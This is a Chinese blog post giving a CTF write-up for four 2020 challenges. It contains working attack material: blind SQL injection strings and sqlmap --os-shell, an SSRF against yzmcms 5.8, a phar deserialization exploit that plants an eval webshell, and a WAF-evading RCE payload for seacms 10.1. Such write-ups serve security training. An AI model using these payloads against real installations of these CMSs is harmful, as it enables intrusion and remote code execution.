AMao
小菜鸡目前对一些东西的认知,希望师傅们可以帮忙纠正!

纵横杯2020 wp

2020-12-26 CTF
Word count: 654 | Reading time: 3min

easyci

后面爆出登录口令 admn/HEIHEIHEIHEI,登录上去也没什么内容

目录扫描也没发现新的,就对登录页面进行注入测试,这里的注入是盲注,回显

1
2
>username=admin' AND 3772=3772 AND 'xCyp'='xCyp&password=HEIHEIHEIHEI
username=admin' AND (SELECT 1344 FROM (SELECT(SLEEP(5)))UlpO) AND 'Hrgt'='Hrgt&password=HEIHEIHEIHEI
  • 大写绕过 select和union过滤

    后面就直接用sqlmap

    1
    python .\sqlmap.py -r rr.txt -tamper uppercase --os-shell
  • 读取apache配置文件获取Web目录

    1
    /var/sercet/html
  • cat flag

    1
    find / |grep "flag"

ezcms

yzmcms,登录口令:admin/admin868

进入后台发现版本是 yzmcms5.8 ,yzmphp2.2

https://github.com/yzmcms/yzmcms/issues/53

模板管理 -> 采集管理 -> URL处填入 http://Your_IP/ssrf.html ,采集范围写入 <ss123></ss123>

  • ssrf.html

    1
    <ss123><a href="httpxxx://../../../../../../flag">123</a></ss123>

hellophp

Config 类的 __destruct() 函数也有写入 config.php 文件的操作,就想到 phar 反序列化,admin.php 有上传功能, index.php 中又有 file_exists($_GET['img']) 恰好可以触发 phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Config{
public $title;
public $comment;
public $logo_url;
public function __construct(){
$this->title= '123\';echo 123;@eval($_POST[1]);?>';
}


}
$phar = new Phar("aaa.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Config;
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a.txt", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

文件路径是无法获取,但是根据 class.php 中 $path='./static/'.md5(time()).'.jpg'; 可以进行爆破,本地运行下面脚本,再在浏览器上传

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
import requests as req
import hashlib
def md5_encode(s):
return hashlib.md5(s.encode()).hexdigest()

while True:
url = f"http://127.0.0.1/static/{md5_encode(str(int(time.time())))}.jpg"
r = req.get(url)
if r.status_code == 200:
print(url)
break
time.sleep(1)

触发 phar 反序列化

1
/index.php/?img=phar://./static/2c7fcadf6e92d41f51d8e4d6f6094faa.jpg

绕过 disable_function

1
1=var_dump(file_get_contents ('/flag'));

大家一起来代码审计

海洋cms 10.1

后台:admin/admin

使用已经公开的漏洞,IP页面或weixin页面的rce:link

rce:

/adm1n/admin_weixin.php 自动回复处没有进行任何过滤,直接拼接后写入文件,导致rce

首先要用");闭合,再插入代码,但是这里加了一层waf,无法直接写入 webshell,使用取反的方法

1
2
3
4
5
6
7
php > $a = "system";
php > echo urlencode(~$a);
%8C%86%8C%8B%9A%92
php > $b = "cat /flag";
php > echo urlencode(~$b);
%9C%9E%8B%DF%D0%99%93%9E%98
php >
  • payload

    1
    ");$z='%8C%86%8C%8B%9A%92';$p=~'%9C%9E%8B%DF%D0%99%93%9E%98';$z=~$z;$z($p);//

其他解

后台,百度密钥处
";system("cat /flag");eval($_GET['1']);/*

< PreviousPost
SQL注入绕过select过滤
NextPost >
burp中HTTPS代理原理分析
CATALOG
  1. 1. easyci
  2. 2. ezcms
  3. 3. hellophp
  4. 4. 大家一起来代码审计
    1. 4.1. 其他解